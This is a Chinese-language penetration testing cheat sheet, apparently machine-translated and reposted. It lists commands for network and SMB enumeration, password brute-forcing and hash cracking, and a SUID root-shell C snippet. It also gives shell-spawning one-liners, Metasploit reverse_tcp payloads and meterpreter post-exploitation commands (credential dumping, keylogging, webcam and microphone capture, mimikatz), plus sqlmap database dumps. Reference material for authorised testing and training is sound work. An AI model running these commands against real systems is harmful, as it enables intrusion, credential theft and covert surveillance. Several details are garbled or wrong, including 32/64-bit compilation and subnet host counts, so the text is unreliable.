正文:
这份备忘录将帮助你全面了解渗透测试,快速学习、参考和熟悉渗透测试领域的命令和技术。它包含了探索工具、方法和见解,以实现有效的侦察、枚举、权限提升、密码破解和漏洞利用研究等任务。利用这份宝贵的资源,提升你的渗透测试技能!
侦察和枚举
NMAP 命令
Nmap(“网络映射器”)是一个免费的开源实用工具,用于网络发现和安全审计。它是系统和网络管理员进行网络清单、管理服务升级计划以及监控主机或服务正常运行时间等任务的多功能工具。Nmap 可在所有主要的计算机操作系统上运行,官方提供了Linux、Windows 和 Mac OS X 的二进制包。
ping sweep sudo nmap -pn target 对目标网络执行 ping 扫描以查看所有可用 IP。
nmap -v -sS -p–A -T4 target 如上所述,但扫描所有 TCP 端口(需要更长的时间)。
nmap -v -sU -sS -p- -A -T4 target 如上所述,但扫描所有 TCP 端口和 UDP 扫描(需要更长的时间)。
nmap -v -p 445 –script=smb-check-vulns –script-args=unsafe=1 192.168.1.X 用于扫描易受攻击的 SMB 服务器的 Nmap 脚本。
nmap localhost 显示当前正在使用的所有端口。
ls /usr/share/nmap/scripts/* | grep ftp 在 nmap 脚本中搜索关键字
SMB 枚举
在计算机网络中,服务器消息块 (SMB) 作为应用层网络协议运行,主要用于提供对文件、打印机和串行端口的共享访问。
enum4linux -a target-ip 执行所有操作,运行除基于字典的共享名称猜测之外的所有选项(查找 Windows 客户端域/工作组)。
smbclient -L target-ip 列出目标计算机上可用的所有 SMB 共享。
smbget -R smb://target-ip/share 以递归方式从 SMB 共享下载文件。
rpcclient -U “” target-ip 使用空用户名连接到 SMB 服务器并列出可用命令。
showmount -e target-ip 显示目标计算机上的可用共享,对 NFS 很有用。
smbmap -H target-ip 显示目标的共享权限。
smbstatus 列出当前的 Samba 连接。在目标计算机上运行时很有用。
其他主机发现方法
不使用 Nmap 的其他主机发现方法。
arp-scan –interface=eth0 192.168.1.0/24 ARP 扫描以发现本地网络上的主机。
fping -g 192.168.1.0/24 将 ICMP 回显请求发送到多个主机以检查它们是否处于活动状态。
masscan -p1-65535,U:1-65535 192.168.1.0/24 –rate=1000 以高速率扫描所有端口,这对于初始发现非常有用。
蟒蛇本地网络服务器
Python 本地 Web 服务器命令,方便在攻击机器上提供 shell 和漏洞利用。
python3 -m http.server 80 使用 Python 3 运行基本的 HTTP 服务器。
python -m SimpleHTTPServer 80 –bind 192.168.1.2 将服务器绑定到特定的 IP 地址。
装载文件共享
如何挂载 NFS / CIFS,Windows 和 Linux 文件共享。
mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs 在 Linux 上安装 Windows CIFS / SMB 共享。/mnt/cifs
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no 从命令行在 Windows 上装载 Windows 共享。
apt-get install smb4k -y 在Kali上安装 smb4k,这是用于浏览 SMB 共享的有用 Linux GUI。
smbclient -L //192.168.1.X -U username 列出 Windows 计算机上可用的 SMB 共享。
基本指纹
设备指纹或机器指纹或浏览器指纹是为识别目的而收集的有关远程计算设备的信息。
telnet 192.168.1.1 25 基本版本控制/指纹识别的另一种方法。
curl -I http://192.168.1.1 获取用于对 Web 服务器进行指纹识别的 HTTP 标头。
nmap -O 192.168.1.1 使用 Nmap 执行操作系统检测。
whatweb 192.168.1.1 确定目标上使用的 Web 技术。
SNMP 枚举
SNMP 枚举是使用 SNMP 枚举目标系统上的用户帐户的过程。
snmpwalk -c public -v1 192.168.1.X 1 SNMP 枚举
snmpenum -t 192.168.1.X SNMP 枚举
onesixtyone -c names -i hosts SNMP 枚举
snmpbulkwalk -v2c -c public -Cn0 -Cr10 192.168.1.X 批量 SNMP 枚举
DNS 区域传输
dig axfr blah.com @ns1.blah.com Linux DNS 区域传输
host -l blah.com ns1.blah.com 另一种 Linux DNS 区域传输方法
DNSRecon
DNSRecon 提供了执行各种 DNS 枚举任务的能力。
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std –xml ouput.xml
HTTP / HTTPS Webserver Enumeration
dirbuster 通过 GUI 配置,CLI 输入大部分时间不起作用
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 目录暴力破解与破坏者
wpscan –url http://192.168.1.1 WordPress 漏洞扫描程序
joomscan -u http://192.168.1.1 乔姆拉漏洞扫描程序
uniscan -u http://192.168.1.1 -qweds Uniscan 自动漏洞扫描程序
curl -I http://192.168.1.1 使用 curl 获取 HTTP 标头
nmap -p80 –script http-enum 192.168.1.1 用于 HTTP 枚举的 Nmap 脚本
whatweb http://192.168.1.1 识别网站上使用的技术
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –hc 404 http://192.168.1.1/FUZZ Fuzzing HTTP with wfuzz
数据包检测
‘tcpdump -i eth0 ‘port 443 and (tcp-syn tcp-ack)!=0”
wireshark -k -i
tshark -i eth0 -f “tcp port 80” 在端口 80 上使用 tshark 捕获数据包
用户名枚举
SMB 用户枚举
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID 周期 SMB /枚举来自 SMB 的用户
enum4linux -U 192.168.XXX.XXX 使用 enum4linux 枚举 SMB 用户名
SNMP 用户枚举
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX 从 SNMP 枚举用户
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt 搜索具有 nmap、grepable 输出的 SNMP 服务器
密码
单词列表
wget https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 从 GitHub 下载热门词表
HackToday 博客上的大量单词列表
暴力破解服务
FTP 暴力破解
POP3 蛮力
SMTP 暴力破解
SSH 暴力破解
用于限制并发连接,例如:-t-t 15
密码破解
john –wordlist=/usr/share/wordlists/rockyou.txt hashes JTR 密码破解
john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txt JTR 强制使用单词列表进行解密破解
john –format=descrypt hash –show JTR 强制解密暴力破解
Hashcat
hashcat -m 0 -a 0 hash.txt wordlist.txt 哈希猫 MD5 破解
hashcat -m 1000 -a 0 hash.txt wordlist.txt 哈希猫 NTLM 破解
漏洞利用研究
site:exploit-db.com exploit kernel <= 3 谷歌搜索内核漏洞 exploit-db.com grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/* 在 Metasploit 模块中搜索 Windows 7 漏洞 msfconsole -q -x "search name:windows type:exploit" Search Metasploit for Windows exploits
编译漏洞
确定 C 代码是用于 Windows 还是 Linux
process.h, string.h, winbase.h, windows.h, winsock2.h 窗户
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h Linux 目录
构建漏洞利用 GCC
gcc -Wall -Wextra exploit.c -o exploit 使用所有警告和附加内容进行编译
GCC 在 32Bit Kali
上编译 64 位漏洞
gcc -m32 exploit.c -o exploit 在 32 位 Linux 上交叉编译 64 位二进制文件
在 Linux 上编译 Windows .exe
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe 在 Linux 上编译 64 位 Windows .exe
苏伊德二进制
SUID C Shell for /bin/bash
int main(void){ setresuid(0, 0, 0); system(“/bin/bash”);}
SUID C Shell for /bin/sh
int main(void){ setresuid(0, 0, 0); system(“/bin/sh”);}
构建 SUID 外壳二进制文件
gcc -m32 -o suid suid.c 编译 32 位 SUID 外壳
TTY 贝壳
python -c ‘import pty;pty.spawn(“/bin/bash”)’
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
生成互动 sh 外壳
/bin/sh -i
生成 Perl TTY 外壳
perl -e ‘exec “/bin/sh”;’
生成红宝石 TTY 外壳
ruby -e ‘exec “/bin/sh”‘
生成路亚 TTY 外壳
lua -e ‘os.execute(“/bin/sh”)’
从 Vi 中生成 TTY 壳
:!bash
从 NMAP 生成 TTY 外壳
!sh
从 awk 生成 TTY 外壳
awk ‘BEGIN {system(“/bin/sh”)}’
从索卡特生成 TTY 壳
socat file:tty,raw,echo=0 tcp-listen:4444
Metasploit
仪表有效载荷
set payload windows/meterpreter/reverse_tcp
Windows VNC Meterpreter payload
set payload windows/vncinject/reverse_tcp
set ViewOnly false
Linux Reverse Meterpreter payload
set payload linux/meterpreter/reverse_tcp
安卓反向仪表有效载荷
set payload android/meterpreter/reverse_tcp
仪表备忘单
download c:\\windows\\repair\\sam /tmp 从视窗目标下载文件
execute -f c:\\windows\temp\exploit.exe 在目标上运行.exe
execute -f cmd -c 使用 cmd 外壳创建新通道
ps 显示流程
shell 在目标上获取外壳
getsystem 尝试在目标上提升权限
hashdump 在目标上转储哈希
portfwd add –l 3389 –p 3389 –r target 创建转发到目标计算机的端口
portfwd delete –l 3389 –p 3389 –r target 删除端口转发
screenshot 捕获目标计算机的屏幕截图
keyscan_start 启动键盘记录器
keyscan_dump 转储收集的击键
webcam_snap 拍摄网络摄像头快照
record_mic 录制麦克风
enum_chrome 枚举 Chrome 浏览器数据
常见元模块
Remote Windows Metasploit Modules (exploits)
use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index MS09_050 Windows Vista SP1/SP2 和 Server 2008 (x86) 远程攻击
use exploit/windows/smb/ms17_010_eternalblue MS17_010 永恒之蓝 SMB 远程视窗内核池损坏
Local Windows Metasploit Modules (exploits)
use exploit/windows/local/bypassuac 在 Windows 7 上绕过 UAC + 设置目标 + 架构,x86/64
use exploit/windows/local/ms10_015_kitrap0d MS10_015 Kitrap0d 本地权限提升
辅助元模块
use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS 漏洞扫描程序
use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version Metasploit MySQL Version Scanner
use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module
Metasploit Powershell Modules
use exploit/multi/script/web_delivery Metasploit 动力壳有效载荷交付模块
post/windows/manage/powershell/exec_powershell 通过会话上传和运行 Powershell 脚本
use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload
后漏洞利用窗口元模块
use post/windows/gather/credentials/gpp Metasploit 抓取 GPP 保存的密码
load mimikatz -> wdigest Metasploit load Mimikatz
run post/windows/gather/local_admin_search_enum 标识提供的域用户具有管理访问权限的其他计算机
联网
TTL 指纹识别
操作系统 TTL 大小
窗户 128
Linux 目录 64
索拉里斯 255
思科/网络 255
IPv4
有类的 IP 范围
注意:A、B、C 类已弃用
类 IP 地址范围
A 类 0.0.0.0 – 127.255.255.255
B 类 128.0.0.0 – 191.255.255.255
C 类 192.0.0.0 – 223.255.255.255
D 类 224.0.0.0 – 239.255.255.255
E 类 240.0.0.0 – 255.255.255.255
IPv4 专用地址范围
类 范围
A 类 10.0.0.0 – 10.255.255.255
B 类 172.16.0.0 – 172.31.255.255
C 类 192.168.0.0 – 192.168.255.255
回送 127.0.0.0 – 127.255.255.255
IPv4 子网备忘单
网段 十进制掩码 主机数量
/31 255.255.255.254 1 主机
/30 255.255.255.252 2 主机
/29 255.255.255.248 6 主机
/28 255.255.255.240 14 主机
/27 255.255.255.224 30 主机
/26 255.255.255.192 62 主机
/25 255.255.255.128 126 主机
/24 255.255.255.0 254 主机
/23 255.255.254.0 512 主机
/22 255.255.252.0 1022 主机
/21 255.255.248.0 2046 主机
/20 255.255.240.0 4094 主机
/19 255.255.224.0 8190 主机
/18 255.255.192.0 16382 主机
/17 255.255.128.0 32766 主机
/16 255.255.0.0 65534 主机
/15 255.254.0.0 131070 主机
/14 255.252.0.0 262142 主机
/13 255.248.0.0 524286 主机
/12 255.240.0.0 1048674 主机
/11 255.224.0.0 2097150 主机
/10 255.192.0.0 4194302 主机
/9 255.128.0.0 8388606 主机
/8 255.0.0.0 16777214 主机
ASCII 表备忘单
对于 Web 应用程序渗透测试很有用,或者如果您被困在火星上并需要与 NASA 通信。
x00 Null Byte x08 BS x09 TAB x0a LF
x0d CR x1b ESC x20 SPC x21 !
x22 “ x23 # x24 $ x25 %
x26 & x27 ` x28 ( x29 )
x2a * x2b + x2c , x2d –
x2e . x2f / x30 0 x31 1
x32 2 x33 3 x34 4 x35 5
x36 6 x37 7 x38 8 x39 9
x3a : x3b ; x3c < x3d = x3e > x3f ? x40 @ x41 A
x42 B x43 C x44 D x45 E
x46 F x47 G x48 H x49 I
x4a J x4b K x4c L x4d M
x4e N x4f O x50 P x51 Q
x52 R x53 S x54 T x55 U
x56 V x57 W x58 X x59 Y
x5a Z x5b [ x5c \ x5d ]
x5e ^ x5f _ x60 ` x61 a
x62 b x63 c x64 d x65 e
x66 f x67 g x68 h x69 i
x6a j x6b k x6c l x6d m
x6e n x6f o x70 p x71 q
x72 r x73 s x74 t x75 u
x76 v x77 w x78 x x79 y
x7a z
思科 IOS 命令
命令 描述
enable 进入启用模式
conf t 简称,配置终端
(config)# interface fa0/0 配置快速以太网 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 将 IP 添加到 fa0/0
(config-if)# line vty 0 4 配置 vty 线路
(config-line)# login 思科设置远程登录密码
(config-line)# password YOUR-PASSWORD 设置远程登录密码
# show running-config 显示内存中加载的正在运行的配置
# show startup-config 显示启动配置
# show version 显示思科 IOS 版本
# show session 显示打开的会话
# show ip interface 显示网络接口
# show interface e0 显示详细的接口信息
# show ip route 显示路线
# show access-lists 显示访问列表
# dir file systems 显示可用文件
# dir all-filesystems 文件信息
# dir /all 显示已删除的文件
# terminal length 0 端子输出无限制
# copy running-config tftp 将运行配置复制到 tftp 服务器
# copy running-config startup-config 将启动配置复制到运行配置
密码学
哈希长度
散 列 大小
MD5 16 字节
SHA-1 20 字节
SHA-256 32 字节
SHA-512 64 字节
哈希示例
散 列 例
SHA1 哈希示例 B89EAAC7E61417341b710b727768294d0e6a277b
SHA-256 127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f
SQLMap 示例
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read=”/var/www/blah.php” 有针对性的 sqlmap 扫描
sqlmap -u “http://meh.com/meh.php?id=1” –dbms=mysql –tech=U –random-agent –dump 使用 MySQL 后端扫描 URL 以进行联合 + 基于错误的注入,并使用随机用户代理 + 数据库转储
sqlmap -o -u “http://meh.com/form/” –forms 用于注入的 SQLMap 检查表单
sqlmap -o -u “http://meh/vuln-form” –forms -D database-name -T users –dump
转载请注明:汇站网 » 渗透测试备忘录:涵盖工具、技术和技巧的重要指南